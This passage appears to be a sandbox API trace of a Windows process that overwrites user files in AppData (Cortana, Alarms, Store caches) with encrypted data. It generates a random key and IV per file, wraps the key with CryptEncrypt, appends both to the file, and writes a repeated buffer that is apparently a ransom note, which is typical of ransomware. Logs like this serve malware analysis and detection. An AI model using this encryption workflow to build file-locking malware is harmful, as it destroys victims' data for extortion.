(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00008.log", dwFileAttributes=0x80) returned 1 [0174.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c93e0 [0174.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617db0 [0174.287] ReadFile (in: hFile=0x1858, lpBuffer=0x6f1020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.310] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.310] WriteFile (in: hFile=0x1858, lpBuffer=0x352a020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.316] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.316] WriteFile (in: hFile=0x1858, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.317] WriteFile (in: hFile=0x1858, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.317] CloseHandle (hObject=0x1858) returned 1 [0174.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0174.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.319] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00007.log", dwFileAttributes=0x80) returned 1 [0174.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9868 [0174.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x6181b8 [0174.322] ReadFile (in: hFile=0x1858, lpBuffer=0x6f6020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f6020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.345] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.345] WriteFile (in: hFile=0x1858, lpBuffer=0x352a020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.351] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.351] WriteFile (in: hFile=0x1858, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.352] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.352] CloseHandle (hObject=0x1858) returned 1 [0174.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0174.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log", dwFileAttributes=0x80) returned 1 [0174.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69ea8 [0174.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0174.357] ReadFile (in: hFile=0x1858, lpBuffer=0x6f6020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f6020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.382] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.382] WriteFile (in: hFile=0x1858, lpBuffer=0x352e020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80000, lpOverlapped=0x0) returned 1 [0174.387] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80000 [0174.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.388] WriteFile (in: hFile=0x1858, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.389] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.389] CloseHandle (hObject=0x1858) returned 1 [0174.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0174.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.chk", dwFileAttributes=0x80) returned 1 [0174.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69dd0 [0174.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0174.391] ReadFile (in: hFile=0x1858, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0174.392] SetFilePointer (in: hFile=0x1858, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.392] WriteFile (in: hFile=0x1858, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0174.393] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0174.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.393] WriteFile (in: hFile=0x1858, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.393] WriteFile (in: hFile=0x1858, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.393] CloseHandle (hObject=0x1858) returned 1 [0174.397] WriteFile (in: hFile=0x185c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.398] CloseHandle (hObject=0x185c) returned 1 [0174.410] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.412] CloseHandle (hObject=0x1860) returned 1 [0174.414] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.415] CloseHandle (hObject=0x1860) returned 1 [0174.417] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.418] CloseHandle (hObject=0x1860) returned 1 [0174.421] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.422] CloseHandle (hObject=0x1860) returned 1 [0174.424] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.425] CloseHandle (hObject=0x1860) returned 1 [0174.437] WriteFile (in: hFile=0x1860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.438] CloseHandle (hObject=0x1860) returned 1 [0174.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\SettingsCache.txt", dwFileAttributes=0x80) returned 1 [0174.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0174.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0174.441] ReadFile (in: hFile=0x1864, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x538f2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x538f2, lpOverlapped=0x0) returned 1 [0174.450] SetFilePointer (in: hFile=0x1864, lDistanceToMove=-342258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.450] WriteFile (in: hFile=0x1864, lpBuffer=0x3409918*, nNumberOfBytesToWrite=0x538f2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3409918*, lpNumberOfBytesWritten=0x2e1f9bc*=0x538f2, lpOverlapped=0x0) returned 1 [0174.456] SetFilePointer (in: hFile=0x1864, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x538f2 [0174.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.469] WriteFile (in: hFile=0x1864, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.469] WriteFile (in: hFile=0x1864, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.470] CloseHandle (hObject=0x1864) returned 1 [0174.471] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0174.471] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0174.471] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\AppCache131509115860744759.txt", dwFileAttributes=0x80) returned 1 [0174.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578700 [0174.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0174.473] ReadFile (in: hFile=0x1864, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x20e85, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x20e85, lpOverlapped=0x0) returned 1 [0174.476] SetFilePointer (in: hFile=0x1864, lDistanceToMove=-134789, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.476] WriteFile (in: hFile=0x1864, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x20e85, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20e85, lpOverlapped=0x0) returned 1 [0174.477] SetFilePointer (in: hFile=0x1864, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20e85 [0174.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.478] WriteFile (in: hFile=0x1864, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.478] WriteFile (in: hFile=0x1864, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.478] CloseHandle (hObject=0x1864) returned 1 [0174.484] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0174.484] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.484] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Alarms\\Alarms.json", dwFileAttributes=0x80) returned 1 [0174.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca7d0 [0174.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617c58 [0174.485] ReadFile (in: hFile=0x1900, lpBuffer=0x2f62e40, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f62e40*, lpNumberOfBytesRead=0x2e1f9bc*=0x19, lpOverlapped=0x0) returned 1 [0174.486] SetFilePointer (in: hFile=0x1900, lDistanceToMove=-25, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.486] WriteFile (in: hFile=0x1900, lpBuffer=0x2f630e8*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f630e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19, lpOverlapped=0x0) returned 1 [0174.486] SetFilePointer (in: hFile=0x1900, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19 [0174.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.486] WriteFile (in: hFile=0x1900, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.487] WriteFile (in: hFile=0x1900, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.487] CloseHandle (hObject=0x1900) returned 1 [0174.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0174.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0174.493] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Clocks\\Clocks.json", dwFileAttributes=0x80) returned 1 [0174.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9dd8 [0174.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617db0 [0174.494] ReadFile (in: hFile=0x1904, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.494] SetFilePointer (in: hFile=0x1904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.494] WriteFile (in: hFile=0x1904, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.494] SetFilePointer (in: hFile=0x1904, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0174.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.494] WriteFile (in: hFile=0x1904, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.496] WriteFile (in: hFile=0x1904, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.496] CloseHandle (hObject=0x1904) returned 1 [0174.501] WriteFile (in: hFile=0x192c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.502] CloseHandle (hObject=0x192c) returned 1 [0174.503] WriteFile (in: hFile=0x192c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.504] CloseHandle (hObject=0x192c) returned 1 [0174.505] WriteFile (in: hFile=0x1930, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.506] CloseHandle (hObject=0x1930) returned 1 [0174.507] WriteFile (in: hFile=0x1934, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0174.508] CloseHandle (hObject=0x1934) returned 1 [0174.509] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.509] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0174.509] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0174.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6b2e8 [0174.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0174.509] ReadFile (in: hFile=0x196c, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.509] SetFilePointer (in: hFile=0x196c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.509] WriteFile (in: hFile=0x196c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.509] SetFilePointer (in: hFile=0x196c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0174.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.509] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | 